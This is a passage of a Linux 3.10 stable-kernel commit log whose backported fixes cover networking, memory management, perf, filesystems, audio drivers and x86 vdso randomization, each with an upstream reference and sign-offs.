apply TSO segment limit to non-TSO packets [ Upstream commit 843925f33fcc293d80acf2c5c8a78adf3344d49b ] Thomas Jarosch reported IPsec TCP stalls when a PMTU event occurs. In fact the problem was completely unrelated to IPsec. The bug is also reproducible if you just disable TSO/GSO. The problem is that when the MSS goes down, existing queued packet on the TX queue that have not been transmitted yet all look like TSO packets and get treated as such. This then triggers a bug where tcp_mss_split_point tells us to generate a zero-sized packet on the TX queue. Once that happens we're screwed because the zero-sized packet can never be removed by ACKs. Fixes: 1485348d242 ("tcp: Apply device TSO segment limit earlier") Reported-by: Thomas Jarosch Signed-off-by: Herbert Xu Cheers, Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 32d1d0569677ed86e7fb93c3035283736aeb7dab Author: Prashant Sreedharan Date: Sat Dec 20 12:16:17 2014 -0800 tg3: tg3_disable_ints using uninitialized mailbox value to disable interrupts [ Upstream commit 05b0aa579397b734f127af58e401a30784a1e315 ] During driver load in tg3_init_one, if the driver detects DMA activity before intializing the chip tg3_halt is called. As part of tg3_halt interrupts are disabled using routine tg3_disable_ints. This routine was using mailbox value which was not initialized (default value is 0). As a result driver was writing 0x00000001 to pci config space register 0, which is the vendor id / device id. This driver bug was exposed because of the commit a7877b17a667 (PCI: Check only the Vendor ID to identify Configuration Request Retry). Also this issue is only seen in older generation chipsets like 5722 because config space write to offset 0 from driver is possible. The newer generation chips ignore writes to offset 0. Also without commit a7877b17a667, for these older chips when a GRC reset is issued the Bootcode would reprogram the vendor id/device id, which is the reason this bug was masked earlier. Fixed by initializing the interrupt mailbox registers before calling tg3_halt. Please queue for -stable. Reported-by: Nils Holland Reported-by: Marcelo Ricardo Leitner Signed-off-by: Prashant Sreedharan Signed-off-by: Michael Chan Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e8612e37cbe191b28be516bd8dcbb5080e8e1dda Author: Thomas Graf Date: Thu Dec 18 10:30:26 2014 +0000 netlink: Don't reorder loads/stores before marking mmap netlink frame as available [ Upstream commit a18e6a186f53af06937a2c268c72443336f4ab56 ] Each mmap Netlink frame contains a status field which indicates whether the frame is unused, reserved, contains data or needs to be skipped. Both loads and stores may not be reordeded and must complete before the status field is changed and another CPU might pick up the frame for use. Use an smp_mb() to cover needs of both types of callers to netlink_set_status(), callers which have been reading data frame from the frame, and callers which have been filling or releasing and thus writing to the frame. - Example code path requiring a smp_rmb(): memcpy(skb->data, (void *)hdr + NL_MMAP_HDRLEN, hdr->nm_len); netlink_set_status(hdr, NL_MMAP_STATUS_UNUSED); - Example code path requiring a smp_wmb(): hdr->nm_uid = from_kuid(sk_user_ns(sk), NETLINK_CB(skb).creds.uid); hdr->nm_gid = from_kgid(sk_user_ns(sk), NETLINK_CB(skb).creds.gid); netlink_frame_flush_dcache(hdr); netlink_set_status(hdr, NL_MMAP_STATUS_VALID); Fixes: f9c228 ("netlink: implement memory mapped recvmsg()") Reported-by: Eric Dumazet Signed-off-by: Thomas Graf Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 11aa4909851d822e7653942fdaa449ca015effea Author: David Miller Date: Tue Dec 16 17:58:17 2014 -0500 netlink: Always copy on mmap TX. [ Upstream commit 4682a0358639b29cf69437ed909c6221f8c89847 ] Checking the file f_count and the nlk->mapped count is not completely sufficient to prevent the mmap'd area contents from changing from under us during netlink mmap sendmsg() operations. Be careful to sample the header's length field only once, because this could change from under us as well. Fixes: 5fd96123ee19 ("netlink: implement memory mapped sendmsg()") Signed-off-by: David S. Miller Acked-by: Daniel Borkmann Acked-by: Thomas Graf Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 33b62c9108d8f915c77e232b32cd6227d5c4a346 Author: Greg Kroah-Hartman Date: Fri Jan 16 07:00:00 2015 -0800 Linux 3.10.65 Signed-off-by: Pranav Vashi commit 62039917b7daf4e0575fc0f6137c5c3f96b4fa60 Author: Linus Torvalds Date: Sun Jan 11 11:33:57 2015 -0800 mm: Don't count the stack guard page towards RLIMIT_STACK commit 690eac53daff34169a4d74fc7bfbd388c4896abb upstream. Commit fee7e49d4514 ("mm: propagate error from stack expansion even for guard page") made sure that we return the error properly for stack growth conditions. It also theorized that counting the guard page towards the stack limit might break something, but also said "Let's see if anybody notices". Somebody did notice. Apparently android-x86 sets the stack limit very close to the limit indeed, and including the guard page in the rlimit check causes the android 'zygote' process problems. So this adds the (fairly trivial) code to make the stack rlimit check be against the actual real stack size, rather than the size of the vma that includes the guard page. Reported-and-tested-by: Chih-Wei Huang Cc: Jay Foad Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c0baf54d0ae8e0d36ba50db5f89a2ba5cb9e0769 Author: Linus Torvalds Date: Tue Jan 6 13:00:05 2015 -0800 mm: propagate error from stack expansion even for guard page commit fee7e49d45149fba60156f5b59014f764d3e3728 upstream. Jay Foad reports that the address sanitizer test (asan) sometimes gets confused by a stack pointer that ends up being outside the stack vma that is reported by /proc/maps. This happens due to an interaction between RLIMIT_STACK and the guard page: when we do the guard page check, we ignore the potential error from the stack expansion, which effectively results in a missing guard page, since the expected stack expansion won't have been done. And since /proc/maps explicitly ignores the guard page (commit d7824370e263: "mm: fix up some user-visible effects of the stack guard page"), the stack pointer ends up being outside the reported stack area. This is the minimal patch: it just propagates the error. It also effectively makes the guard page part of the stack limit, which in turn measn that the actual real stack is one page less than the stack limit. Let's see if anybody notices. We could teach acct_stack_growth() to allow an extra page for a grow-up/grow-down stack in the rlimit test, but I don't want to add more complexity if it isn't needed. Reported-and-tested-by: Jay Foad Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 60a7435b0234a9f270d265ee6100f4bbca388d71 Author: Vlastimil Babka Date: Thu Jan 8 14:32:40 2015 -0800 mm, vmscan: prevent kswapd livelock due to pfmemalloc-throttled process being killed commit 9e5e3661727eaf960d3480213f8e87c8d67b6956 upstream. Charles Shirron and Paul Cassella from Cray Inc have reported kswapd stuck in a busy loop with nothing left to balance, but kswapd_try_to_sleep() failing to sleep. Their analysis found the cause to be a combination of several factors: 1. A process is waiting in throttle_direct_reclaim() on pgdat->pfmemalloc_wait 2. The process has been killed (by OOM in this case), but has not yet been scheduled to remove itself from the waitqueue and die. 3. kswapd checks for throttled processes in prepare_kswapd_sleep(): if (waitqueue_active(&pgdat->pfmemalloc_wait)) { wake_up(&pgdat->pfmemalloc_wait); return false; // kswapd will not go to sleep } However, for a process that was already killed, wake_up() does not remove the process from the waitqueue, since try_to_wake_up() checks its state first and returns false when the process is no longer waiting. 4. kswapd is running on the same CPU as the only CPU that the process is allowed to run on (through cpus_allowed, or possibly single-cpu system). 5. CONFIG_PREEMPT_NONE=y kernel is used. If there's nothing to balance, kswapd encounters no voluntary preemption points and repeatedly fails prepare_kswapd_sleep(), blocking the process from running and removing itself from the waitqueue, which would let kswapd sleep. So, the source of the problem is that we prevent kswapd from going to sleep until there are processes waiting on the pfmemalloc_wait queue, and a process waiting on a queue is guaranteed to be removed from the queue only when it gets scheduled. This was done to make sure that no process is left sleeping on pfmemalloc_wait when kswapd itself goes to sleep. However, it isn't necessary to postpone kswapd sleep until the pfmemalloc_wait queue actually empties. To prevent processes from being left sleeping, it's actually enough to guarantee that all processes waiting on pfmemalloc_wait queue have been woken up by the time we put kswapd to sleep. This patch therefore fixes this issue by substituting 'wake_up' with 'wake_up_all' and removing 'return false' in the code snippet from prepare_kswapd_sleep() above. Note that if any process puts itself in the queue after this waitqueue_active() check, or after the wake up itself, it means that the process will also wake up kswapd - and since we are under prepare_to_wait(), the wake up won't be missed. Also we update the comment prepare_kswapd_sleep() to hopefully more clearly describe the races it is preventing. Fixes: 5515061d22f0 ("mm: throttle direct reclaimers if PF_MEMALLOC reserves are low and swap is backed by network storage") Signed-off-by: Vlastimil Babka Signed-off-by: Vladimir Davydov Cc: Mel Gorman Cc: Johannes Weiner Acked-by: Michal Hocko Acked-by: Rik van Riel Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b17e3be1d7e37cd7f7e26f2f0bb705fb5393867b Author: Jiri Olsa Date: Wed Nov 26 16:39:31 2014 +0100 perf session: Do not fail on processing out of order event commit f61ff6c06dc8f32c7036013ad802c899ec590607 upstream. Linus reported perf report command being interrupted due to processing of 'out of order' event, with following error: Timestamp below last timeslice flush 0x5733a8 [0x28]: failed to process type: 3 I could reproduce the issue and in my case it was caused by one CPU (mmap) being behind during record and userspace mmap reader seeing the data after other CPUs data were already stored. This is expected under some circumstances because we need to limit the number of events that we queue for reordering when we receive a PERF_RECORD_FINISHED_ROUND or when we force flush due to memory pressure. Reported-by: Linus Torvalds Signed-off-by: Jiri Olsa Acked-by: Ingo Molnar Cc: Andi Kleen Cc: Corey Ashford Cc: David Ahern Cc: Frederic Weisbecker Cc: Ingo Molnar Cc: Linus Torvalds Cc: Matt Fleming Cc: Namhyung Kim Cc: Paul Mackerras Cc: Peter Zijlstra Cc: Stephane Eranian Link: http://lkml.kernel.org/r/1417016371-30249-1-git-send-email-jolsa@kernel.org Signed-off-by: Arnaldo Carvalho de Melo [zhangzhiqiang: backport to 3.10: - adjust context - commit f61ff6c06d struct events_stats was defined in tools/perf/util/event.h while 3.10 stable defined in tools/perf/util/hist.h. - 3.10 stable there is no pr_oe_time() which used for debug. - After the above adjustments, becomes same to the original patch: https://github.com/torvalds/linux/commit/f61ff6c06dc8f32c7036013ad802c899ec590607 ] Signed-off-by: Zhiqiang Zhang Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 69f858e18549c284ef45d3b4947e09212a81491b Author: Jiri Olsa Date: Wed Dec 10 21:23:51 2014 +0100 perf: Fix events installation during moving group commit 9fc81d87420d0d3fd62d5e5529972c0ad9eab9cc upstream. We allow PMU driver to change the cpu on which the event should be installed to. This happened in patch: e2d37cd213dc ("perf: Allow the PMU driver to choose the CPU on which to install events") This patch also forces all the group members to follow the currently opened events cpu if the group happened to be moved. This and the change of event->cpu in perf_install_in_context() function introduced in: 0cda4c023132 ("perf: Introduce perf_pmu_migrate_context()") forces group members to change their event->cpu, if the currently-opened-event's PMU changed the cpu and there is a group move. Above behaviour causes problem for breakpoint events, which uses event->cpu to touch cpu specific data for breakpoints accounting. By changing event->cpu, some breakpoints slots were wrongly accounted for given cpu. Vinces's perf fuzzer hit this issue and caused following WARN on my setup: WARNING: CPU: 0 PID: 20214 at arch/x86/kernel/hw_breakpoint.c:119 arch_install_hw_breakpoint+0x142/0x150() Can't find any breakpoint slot [...] This patch changes the group moving code to keep the event's original cpu. Reported-by: Vince Weaver Signed-off-by: Jiri Olsa Cc: Arnaldo Carvalho de Melo Cc: Frederic Weisbecker Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Stephane Eranian Cc: Vince Weaver Cc: Yan, Zheng Link: http://lkml.kernel.org/r/1418243031-20367-3-git-send-email-jolsa@kernel.org Signed-off-by: Ingo Molnar Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 670218c170b8c744f438ea173f1d66717c19a042 Author: Jiri Olsa Date: Wed Dec 10 21:23:50 2014 +0100 perf/x86/intel/uncore: Make sure only uncore events are collected commit af91568e762d04931dcbdd6bef4655433d8b9418 upstream. The uncore_collect_events functions assumes that event group might contain only uncore events which is wrong, because it might contain any type of events. This bug leads to uncore framework touching 'not' uncore events, which could end up all sorts of bugs. One was triggered by Vince's perf fuzzer, when the uncore code touched breakpoint event private event space as if it was uncore event and caused BUG: BUG: unable to handle kernel paging request at ffffffff82822068 IP: [] uncore_assign_events+0x188/0x250 ... The code in uncore_assign_events() function was looking for event->hw.idx data while the event was initialized as a breakpoint with different members in event->hw union. This patch forces uncore_collect_events() to collect only uncore events. Reported-by: Vince Weaver Signed-off-by: Jiri Olsa Cc: Arnaldo Carvalho de Melo Cc: Frederic Weisbecker Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Stephane Eranian Cc: Yan, Zheng Link: http://lkml.kernel.org/r/1418243031-20367-2-git-send-email-jolsa@kernel.org Signed-off-by: Ingo Molnar Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 18a9e279b5803c237e8f9a5496ce8e9b1ad399cd Author: Chris Mason Date: Wed Dec 31 12:18:29 2014 -0500 Btrfs: don't delay inode ref updates during log replay commit 6f8960541b1eb6054a642da48daae2320fddba93 upstream. Commit 1d52c78afbb (Btrfs: try not to ENOSPC on log replay) added a check to skip delayed inode updates during log replay because it confuses the enospc code. But the delayed processing will end up ignoring delayed refs from log replay because the inode itself wasn't put through the delayed code. This can end up triggering a warning at commit time: WARNING: CPU: 2 PID: 778 at fs/btrfs/delayed-inode.c:1410 btrfs_assert_delayed_root_empty+0x32/0x34() Which is repeated for each commit because we never process the delayed inode ref update. The fix used here is to change btrfs_delayed_delete_inode_ref to return an error if we're currently in log replay. The caller will do the ref deletion immediately and everything will work properly. Signed-off-by: Chris Mason Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e60c293a50ed5d6691f56ed64546ddfd15303b67 Author: Thomas Petazzoni Date: Thu Nov 13 10:38:57 2014 +0100 ARM: mvebu: disable I/O coherency on non-SMP situations on Armada 370/375/38x/XP commit e55355453600a33bb5ca4f71f2d7214875f3b061 upstream. Enabling the hardware I/O coherency on Armada 370, Armada 375, Armada 38x and Armada XP requires a certain number of conditions: - On Armada 370, the cache policy must be set to write-allocate. - On Armada 375, 38x and XP, the cache policy must be set to write-allocate, the pages must be mapped with the shareable attribute, and the SMP bit must be set Currently, on Armada XP, when CONFIG_SMP is enabled, those conditions are met. However, when Armada XP is used in a !CONFIG_SMP kernel, none of these conditions are met. With Armada 370, the situation is worse: since the processor is single core, regardless of whether CONFIG_SMP or !CONFIG_SMP is used, the cache policy will be set to write-back by the kernel and not write-allocate. Since solving this problem turns out to be quite complicated, and we don't want to let users with a mainline kernel known to have infrequent but existing data corruptions, this commit proposes to simply disable hardware I/O coherency in situations where it is known not to work. And basically, the is_smp() function of the kernel tells us whether it is OK to enable hardware I/O coherency or not, so this commit slightly refactors the coherency_type() function to return COHERENCY_FABRIC_TYPE_NONE when is_smp() is false, or the appropriate type of the coherency fabric in the other case. Thanks to this, the I/O coherency fabric will no longer be used at all in !CONFIG_SMP configurations. It will continue to be used in CONFIG_SMP configurations on Armada XP, Armada 375 and Armada 38x (which are multiple cores processors), but will no longer be used on Armada 370 (which is a single core processor). In the process, it simplifies the implementation of the coherency_type() function, and adds a missing call to of_node_put(). Signed-off-by: Thomas Petazzoni Fixes: e60304f8cb7bb545e79fe62d9b9762460c254ec2 ("arm: mvebu: Add hardware I/O Coherency support") Cc: # v3.8+ Acked-by: Gregory CLEMENT Link: https://lkml.kernel.org/r/1415871540-20302-3-git-send-email-thomas.petazzoni@free-electrons.com Signed-off-by: Jason Cooper Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9a7407b25ba7e56c63508b25fb2c6886b72fc7a5 Author: Johannes Berg Date: Wed Dec 10 15:41:28 2014 -0800 scripts/kernel-doc: don't eat struct members with __aligned commit 7b990789a4c3420fa57596b368733158e432d444 upstream. The change from \d+ to .+ inside __aligned() means that the following structure: struct test { u8 a __aligned(2); u8 b __aligned(2); }; essentially gets modified to struct test { u8 a; }; for purposes of kernel-doc, thus dropping a struct member, which in turns causes warnings and invalid kernel-doc generation. Fix this by replacing the catch-all (".") with anything that's not a semicolon ("[^;]"). Fixes: 9dc30918b23f ("scripts/kernel-doc: handle struct member __aligned without numbers") Signed-off-by: Johannes Berg Cc: Nishanth Menon Cc: Randy Dunlap Cc: Michal Marek Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9652b73d52b6aa421bcbdacd79a8addac6a4cde1 Author: Ryusuke Konishi Date: Wed Dec 10 15:54:34 2014 -0800 nilfs2: fix the nilfs_iget() vs. nilfs_new_inode() races commit 705304a863cc41585508c0f476f6d3ec28cf7e00 upstream. Same story as in commit 41080b5a2401 ("nfsd race fixes: ext2") (similar ext2 fix) except that nilfs2 needs to use insert_inode_locked4() instead of insert_inode_locked() and a bug of a check for dead inodes needs to be fixed. If nilfs_iget() is called from nfsd after nilfs_new_inode() calls insert_inode_locked4(), nilfs_iget() will wait for unlock_new_inode() at the end of nilfs_mkdir()/nilfs_create()/etc to unlock the inode. If nilfs_iget() is called before nilfs_new_inode() calls insert_inode_locked4(), it will create an in-core inode and read its data from the on-disk inode. But, nilfs_iget() will find i_nlink equals zero and fail at nilfs_read_inode_common(), which will lead it to call iget_failed() and cleanly fail. However, this sanity check doesn't work as expected for reused on-disk inodes because they leave a non-zero value in i_mode field and it hinders the test of i_nlink. This patch also fixes the issue by removing the test on i_mode that nilfs2 doesn't need. Signed-off-by: Ryusuke Konishi Cc: Al Viro Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2ad8f3fd04ce08e4ad5c0f701a63db3fea15f579 Author: Benjamin Coddington Date: Sun Dec 7 16:05:47 2014 -0500 nfsd4: fix xdr4 inclusion of escaped char commit 5a64e56976f1ba98743e1678c0029a98e9034c81 upstream. Fix a bug where nfsd4_encode_components_esc() includes the esc_end char as an additional string encoding. Signed-off-by: Benjamin Coddington Fixes: e7a0444aef4a "nfsd: add IPv6 addr escaping to fs_location hosts" Signed-off-by: J. Bruce Fields Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1cc13ebfaccc37c7acc7d4331a86d6e598a695f5 Author: Rasmus Villemoes Date: Fri Dec 5 16:40:07 2014 +0100 fs: nfsd: Fix signedness bug in compare_blob commit ef17af2a817db97d42dd2ec0a425231748e23dbc upstream. Bugs similar to the one in acbbe6fbb240 (kcmp: fix standard comparison bug) are in rich supply. In this variant, the problem is that struct xdr_netobj::len has type unsigned int, so the expression o1->len - o2->len _also_ has type unsigned int; it has completely well-defined semantics, and the result is some non-negative integer, which is always representable in a long long. But this means that if the conditional triggers, we are guaranteed to return a positive value from compare_blob. In this case it could be fixed by - res = o1->len - o2->len; + res = (long long)o1->len - (long long)o2->len; but I'd rather eliminate the usually broken 'return a - b;' idiom. Reviewed-by: Jeff Layton Signed-off-by: Rasmus Villemoes Signed-off-by: J. Bruce Fields Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 80d2a1b7d6f53185716d07524d444b829afaa3b7 Author: Robert Baldyga Date: Mon Nov 24 07:56:21 2014 +0100 serial: samsung: wait for transfer completion before clock disable commit 1ff383a4c3eda8893ec61b02831826e1b1f46b41 upstream. This patch adds waiting until transmit buffer and shifter will be empty before clock disabling. Without this fix it's possible to have clock disabled while data was not transmited yet, which causes unproper state of TX line and problems in following data transfers. Signed-off-by: Robert Baldyga Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit fae1d5a6828168de79240dac914b5918736e940f Author: Tejun Heo Date: Fri Oct 24 15:38:21 2014 -0400 writeback: fix a subtle race condition in I_DIRTY clearing commit 9c6ac78eb3521c5937b2dd8a7d1b300f41092f45 upstream. After invoking ->dirty_inode(), __mark_inode_dirty() does smp_mb() and tests inode->i_state locklessly to see whether it already has all the necessary I_DIRTY bits set. The comment above the barrier doesn't contain any useful information - memory barriers can't ensure "changes are seen by all cpus" by itself. And it sure enough was broken. Please consider the following scenario. CPU 0 CPU 1 ------------------------------------------------------------------------------- enters __writeback_single_inode() grabs inode->i_lock tests PAGECACHE_TAG_DIRTY which is clear enters __set_page_dirty() grabs mapping->tree_lock sets PAGECACHE_TAG_DIRTY releases mapping->tree_lock leaves __set_page_dirty() enters __mark_inode_dirty() smp_mb() sees I_DIRTY_PAGES set leaves __mark_inode_dirty() clears I_DIRTY_PAGES releases inode->i_lock Now @inode has dirty pages w/ I_DIRTY_PAGES clear. This doesn't seem to lead to an immediately critical problem because requeue_inode() later checks PAGECACHE_TAG_DIRTY instead of I_DIRTY_PAGES when deciding whether the inode needs to be requeued for IO and there are enough unintentional memory barriers inbetween, so while the inode ends up with inconsistent I_DIRTY_PAGES flag, it doesn't fall off the IO list. The lack of explicit barrier may also theoretically affect the other I_DIRTY bits which deal with metadata dirtiness. There is no guarantee that a strong enough barrier exists between I_DIRTY_[DATA]SYNC clearing and write_inode() writing out the dirtied inode. Filesystem inode writeout path likely has enough stuff which can behave as full barrier but it's theoretically possible that the writeout may not see all the updates from ->dirty_inode(). Fix it by adding an explicit smp_mb() after I_DIRTY clearing. Note that I_DIRTY_PAGES needs a special treatment as it always needs to be cleared to be interlocked with the lockless test on __mark_inode_dirty() side. It's cleared unconditionally and reinstated after smp_mb() if the mapping still has dirty pages. Also add comments explaining how and why the barriers are paired. Lightly tested. Signed-off-by: Tejun Heo Cc: Jan Kara Cc: Mikulas Patocka Cc: Jens Axboe Cc: Al Viro Reviewed-by: Jan Kara Signed-off-by: Jens Axboe Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c56f33c8d6953394c6629d54fb953679ab2d8826 Author: Oliver Neukum Date: Thu Nov 20 14:54:35 2014 +0100 cdc-acm: memory leak in error case commit d908f8478a8d18e66c80a12adb27764920c1f1ca upstream. If probe() fails not only the attributes need to be removed but also the memory freed. Reported-by: Ahmed Tamrawi Signed-off-by: Oliver Neukum Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 46af468068c9f65e4f6ef1321fcf3a1203defa9a Author: Jens Axboe Date: Wed Nov 19 13:06:22 2014 -0700 genhd: check for int overflow in disk_expand_part_tbl() commit 5fabcb4c33fe11c7e3afdf805fde26c1a54d0953 upstream. We can get here from blkdev_ioctl() -> blkpg_ioctl() -> add_partition() with a user passed in partno value. If we pass in 0x7fffffff, the new target in disk_expand_part_tbl() overflows the 'int' and we access beyond the end of ptbl->part[] and even write to it when we do the rcu_assign_pointer() to assign the new partition. Reported-by: David Ramos Signed-off-by: Jens Axboe Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b6097658d082db3e1c6b0281cb164b3df1f2f000 Author: Greg Kroah-Hartman Date: Fri Nov 7 08:48:15 2014 -0800 USB: cdc-acm: check for valid interfaces commit 403dff4e2c94f275e24fd85f40b2732ffec268a1 upstream. We need to check that we have both a valid data and control inteface for both types of headers (union and not union.) References: https://bugzilla.kernel.org/show_bug.cgi?id=83551 Reported-by: Simon Schubert <2+kernel@0x2c.org> Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 39c58d1011059ef92f83a6c3963a3d5fa29482df Author: Takashi Iwai Date: Mon Jan 5 13:27:33 2015 +0100 ALSA: hda - Fix wrong gpio_dir & gpio_mask hint setups for IDT/STAC codecs commit c507de88f6a336bd7296c9ec0073b2d4af8b4f5e upstream. stac_store_hints() does utterly wrong for masking the values for gpio_dir and gpio_data, likely due to copy&paste errors. Fortunately, this feature is used very rarely, so the impact must be really small. Reported-by: Rasmus Villemoes Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 240c62be5c98de5e795c68859e85424bdd9b3d0e Author: Dan Carpenter Date: Thu Nov 27 01:34:43 2014 +0300 ALSA: hda - using uninitialized data commit 69eba10e606a80665f8573221fec589430d9d1cb upstream. In olden times the snd_hda_param_read() function always set "*start_id" but in 2007 we introduced a new return and it causes uninitialized data bugs in a couple of the callers: print_codec_info() and hdmi_parse_codec(). Fixes: e8a7f136f5ed ('[ALSA] hda-intel - Improve HD-audio codec probing robustness') Signed-off-by: Dan Carpenter Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d010bf46683339e0079c5a965f8c133ab8eb2314 Author: Jiri Jaburek Date: Thu Dec 18 02:03:19 2014 +0100 ALSA: usb-audio: extend KEF X300A FU 10 tweak to Arcam rPAC commit d70a1b9893f820fdbcdffac408c909c50f2e6b43 upstream. The Arcam rPAC seems to have the same problem - whenever anything (alsamixer, udevd, 3.9+ kernel from 60af3d037eb8c, ..) attempts to access mixer / control interface of the card, the firmware "locks up" the entire device, resulting in SNDRV_PCM_IOCTL_HW_PARAMS failed (-5): Input/output error from alsa-lib. Other operating systems can somehow read the mixer (there seems to be playback volume/mute), but any manipulation is ignored by the device (which has hardware volume controls). Signed-off-by: Jiri Jaburek Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3262c1cfbecc0e44089a256f01b0135f422b4ebb Author: Alex Williamson Date: Fri Oct 31 11:13:07 2014 -0600 driver core: Fix unbalanced device reference in drivers_probe commit bb34cb6bbd287b57e955bc5cfd42fcde6aaca279 upstream. bus_find_device_by_name() acquires a device reference which is never released. This results in an object leak, which on older kernels results in failure to release all resources of PCI devices. libvirt uses drivers_probe to re-attach devices to the host after assignment and is therefore a common trigger for this leak. Example: # cd /sys/bus/pci/ # dmesg -C # echo 1 > devices/0000\:01\:00.0/sriov_numvfs # echo 0 > devices/0000\:01\:00.0/sriov_numvfs # dmesg | grep 01:10 pci 0000:01:10.0: [8086:10ca] type 00 class 0x020000 kobject: '0000:01:10.0' (ffff8801d79cd0a8): kobject_add_internal: parent: '0000:00:01.0', set: 'devices' kobject: '0000:01:10.0' (ffff8801d79cd0a8): kobject_uevent_env kobject: '0000:01:10.0' (ffff8801d79cd0a8): fill_kobj_path: path = '/devices/pci0000:00/0000:00:01.0/0000:01:10.0' kobject: '0000:01:10.0' (ffff8801d79cd0a8): kobject_uevent_env kobject: '0000:01:10.0' (ffff8801d79cd0a8): fill_kobj_path: path = '/devices/pci0000:00/0000:00:01.0/0000:01:10.0' kobject: '0000:01:10.0' (ffff8801d79cd0a8): kobject_uevent_env kobject: '0000:01:10.0' (ffff8801d79cd0a8): fill_kobj_path: path = '/devices/pci0000:00/0000:00:01.0/0000:01:10.0' kobject: '0000:01:10.0' (ffff8801d79cd0a8): kobject_cleanup, parent (null) kobject: '0000:01:10.0' (ffff8801d79cd0a8): calling ktype release kobject: '0000:01:10.0': free name [kobject freed as expected] # dmesg -C # echo 1 > devices/0000\:01\:00.0/sriov_numvfs # echo 0000:01:10.0 > drivers_probe # echo 0 > devices/0000\:01\:00.0/sriov_numvfs # dmesg | grep 01:10 pci 0000:01:10.0: [8086:10ca] type 00 class 0x020000 kobject: '0000:01:10.0' (ffff8801d79ce0a8): kobject_add_internal: parent: '0000:00:01.0', set: 'devices' kobject: '0000:01:10.0' (ffff8801d79ce0a8): kobject_uevent_env kobject: '0000:01:10.0' (ffff8801d79ce0a8): fill_kobj_path: path = '/devices/pci0000:00/0000:00:01.0/0000:01:10.0' kobject: '0000:01:10.0' (ffff8801d79ce0a8): kobject_uevent_env kobject: '0000:01:10.0' (ffff8801d79ce0a8): fill_kobj_path: path = '/devices/pci0000:00/0000:00:01.0/0000:01:10.0' kobject: '0000:01:10.0' (ffff8801d79ce0a8): kobject_uevent_env kobject: '0000:01:10.0' (ffff8801d79ce0a8): fill_kobj_path: path = '/devices/pci0000:00/0000:00:01.0/0000:01:10.0' [no free] Signed-off-by: Alex Williamson Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d7f5da0d71548548640b93cd1e0f8892c557f5dc Author: Andy Lutomirski Date: Sun Dec 21 08:57:46 2014 -0800 x86, vdso: Use asm volatile in __getcpu commit 1ddf0b1b11aa8a90cef6706e935fc31c75c406ba upstream. In Linux 3.18 and below, GCC hoists the lsl instructions in the pvclock code all the way to the beginning of __vdso_clock_gettime, slowing the non-paravirt case significantly. For unknown reasons, presumably related to the removal of a branch, the performance issue is gone as of e76b027e6408 x86,vdso: Use LSL unconditionally for vgetcpu but I don't trust GCC enough to expect the problem to stay fixed. There should be no correctness issue, because the __getcpu calls in __vdso_vlock_gettime were never necessary in the first place. Note to stable maintainers: In 3.18 and below, depending on configuration, gcc 4.9.2 generates code like this: 9c3: 44 0f 03 e8 lsl %ax,%r13d 9c7: 45 89 eb mov %r13d,%r11d 9ca: 0f 03 d8 lsl %ax,%ebx This patch won't apply as is to any released kernel, but I'll send a trivial backported version if needed. [ Backported by Andy Lutomirski. Should apply to all affected versions. This fixes a functionality bug as well as a performance bug: buggy kernels can infinite loop in __vdso_clock_gettime on affected compilers. See, for exammple: https://bugzilla.redhat.com/show_bug.cgi?id=1178975 ] Fixes: 51c19b4f5927 x86: vdso: pvclock gettime support Cc: Marcelo Tosatti Acked-by: Paolo Bonzini Signed-off-by: Andy Lutomirski Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a3642939b86ab04f45f7e1a024e3ead8f0a76b74 Author: Andy Lutomirski Date: Fri Dec 19 16:04:11 2014 -0800 x86_64, vdso: Fix the vdso address randomization algorithm commit 394f56fe480140877304d342dec46d50dc823d46 upstream. The theory behind vdso randomization is that it's mapped at a random offset above the top of the stack. To avoid wasting a page of memory for an extra page table, the vdso isn't supposed to extend past the lowest PMD into which it can fit. Other than that, the address should be a uniformly distributed address that meets all of the alignment requirements. The current algorithm is buggy: the vdso has about a 50% probability of being at the very end of a PMD. The current algorithm also has a decent chance of failing outright due to incorrect handling of the case where the top of the stack is near the top of its PMD. This fixes the implementation. The paxtest estimate of vdso "randomisation" improves from 11 bits to 18 bits. (Disclaimer: I don't know what the paxtest code is actually calculating.) It's worth noting that this algorithm is inherently biased: the vdso is more likely to end up near the end of its PMD than near the beginning. Ideally we would either nix the PMD sharing requirement or jointly randomize the vdso and the stack to reduce the bias. In the mean time, this is a considerable improvement with basically no risk of compatibility 